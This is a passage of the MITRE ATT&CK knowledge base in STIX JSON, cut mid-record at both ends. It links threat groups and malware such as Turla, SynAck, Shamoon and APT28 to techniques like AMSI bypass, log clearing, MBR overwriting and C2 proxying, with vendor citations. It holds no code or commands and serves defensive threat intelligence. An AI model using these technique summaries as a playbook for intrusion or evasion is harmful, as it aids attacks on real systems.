2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:04:45.395Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used a AMSI bypass, which patches the in-memory amsi.dll, in PowerShell scripts to bypass Windows antimalware products.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1098fd1c-b615-4730-bc99-3cda386f2e4c","created":"2023-02-10T18:47:29.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:07:36.090Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can encrypt victim data with an RC4 cipher.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--109b2118-d714-41bb-a39d-b1fd1b755b55","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}],"modified":"2021-09-08T19:22:44.677Z","description":"[SynAck](https://attack.mitre.org/software/S0242) can manipulate Registry keys.(Citation: SecureList SynAck Doppelgänging May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--109bbda3-f97a-4067-81d6-ed635f251282","type":"relationship","created":"2020-06-16T17:53:18.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-22T19:08:12.489Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used an Outlook VBA module on infected systems to send phishing emails with malicious attachments to other employees within the organization.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--109c7cc7-fec6-4d86-ae27-087cddb2670c","type":"relationship","created":"2019-07-19T16:38:05.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T19:50:15.459Z","description":"(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10a3e014-047a-4b6a-b8f2-6297f0043ab9","created":"2024-05-20T20:14:00.579Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:14:00.579Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used remote shares to enable lateral movement in victim environments.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10a4e987-0b9d-4ea1-b82f-4b93d6a10a45","created":"2022-01-11T14:58:01.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.922Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has been observed deleting its original launcher after installation.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10a5f6e2-9527-419a-b2f4-29087e05cf2d","type":"relationship","created":"2021-09-29T19:00:31.577Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T19:00:31.577Z","description":"(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"malware--e928333f-f3df-4039-9b8b-556c2add0e42","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10af8211-36f6-4152-8221-c152407bd969","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"},{"source_name":"Symantec Cicada November 2020","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:06:31.024Z","description":"(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10b3228c-b96b-4a34-8da8-4d1fd3fa37d0","type":"relationship","created":"2020-11-06T18:40:38.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:51:49.479Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) includes a capability to modify the Beacon payload to eliminate known signatures or unpacking methods.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10b32db9-57a8-4baa-b540-3d26f9c7137b","type":"relationship","created":"2022-03-08T19:16:59.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"modified":"2022-03-08T19:19:59.546Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) has the ability to use the Linux API function `utime` to change the timestamps of modified firmware update images.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--10b4ef89-5f69-4809-a410-37256407b5fa","created":"2021-02-25T18:46:03.681Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":"https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IronNetInjector](https://attack.mitre.org/software/S0581) can identify processes via C# methods such as GetProcessesByName and running [Tasklist](https://attack.mitre.org/software/S0057) with the Python os.popen function.(Citation: Unit 42 IronNetInjector February 2021 )","modified":"2022-05-20T17:02:59.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--b1595ddd-a783-482a-90e1-8afc8d48467e","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10b76c75-11f1-421d-899a-30d22f7e8260","created":"2024-09-25T13:34:30.734Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:34:30.734Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10bb2d06-6158-4cf2-bd35-0840a8e0a129","created":"2023-03-29T16:10:39.220Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T16:10:39.220Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can collect a list of services on a victim machine.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10bb3d29-fe7d-49a4-a03b-ba1f78993af8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","source_name":"SecureList SynAck Doppelgänging May 2018"}],"modified":"2020-02-18T03:55:31.096Z","description":"[SynAck](https://attack.mitre.org/software/S0242) clears event logs.(Citation: SecureList SynAck Doppelgänging May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10bc4c79-d47f-4d49-bc06-c65ae376a4b6","type":"relationship","created":"2019-03-25T13:23:40.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Shamoon 2012","url":"https://www.symantec.com/connect/blogs/shamoon-attacks","description":"Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019."},{"source_name":"FireEye Shamoon Nov 2016","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"},{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"},{"source_name":"Unit 42 Shamoon3 2018","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."}],"modified":"2019-04-24T23:59:16.372Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) has been seen overwriting features of disk structure such as the MBR.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10be521b-285c-4ce7-a4ec-837b63a0f666","type":"relationship","created":"2020-02-25T19:17:33.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:24:39.480Z","description":"Use remote desktop gateways.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10c33088-630e-456d-ad0f-8a63be4d3946","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments","description":"Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014.","source_name":"Blasco 2013"}],"modified":"2020-04-29T22:15:31.440Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) uses SSL for encrypting C2 communications.(Citation: Blasco 2013)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10c4c857-59e6-4168-b2af-96b6609bdc76","created":"2023-07-28T17:39:30.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T15:59:52.509Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has gained access to compromised environments via remote access services such as the corporate virtual private network (VPN).(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10c609ce-f256-436c-8288-3441cb123fc5","type":"relationship","created":"2020-07-01T20:27:58.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.251Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) has disguised a malicious .app file as a Flash Player update.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky NetTraveler","description":"Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka ‘Travnet’). Retrieved November 12, 2014.","url":"http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf"}],"modified":"2020-03-16T17:20:39.755Z","description":"[NetTraveler](https://attack.mitre.org/software/S0033) reports window names along with keylogger information to provide application context.(Citation: Kaspersky NetTraveler)","relationship_type":"uses","source_ref":"malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa","created":"2017-05-31T21:33:27.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.404Z","description":"[APT28](https://attack.mitre.org/groups/G0007) used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. [APT28](https://attack.mitre.org/groups/G0007) has also used a machine to relay and obscure communications between [CHOPSTICK](https://attack.mitre.org/software/S0023) and their server.(Citation: FireEye APT28)(Citation: Bitdefender APT28 Dec 2015)(Citation: DOJ GRU Indictment Jul 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10cf6efc-6415-4a80-834a-565057e76474","type":"relationship","created":"2021-01-28T15:40:53.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-06T22:07:34.253Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used tools to obtain the current system time.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10d0c930-1470-4d2e-aff8-0bf42c42d2f0","type":"relationship","created":"2020-09-24T14:20:39.211Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-10-16T01:45:29.551Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) has attempted to mimic a compromised user's traffic by using the same user agent as the installed browser.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10d118e8-c421-486f-a56a-bbe1ed621c62","created":"2019-09-23T22:53:30.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.502Z","description":"[APT41](https://attack.mitre.org/groups/G0096) gained access to production environments where they could inject malicious code into legitimate, signed files and widely distribute them to end users.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10d22e64-01ff-4302-a615-ee23970d86ae","created":"2022-06-10T20:10:11.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Lyceum Targets November 2021","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns"},{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:08:30.394Z","description":"[Shark](https://attack.mitre.org/software/S1019) can use encrypted and encoded files for C2 configuration.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 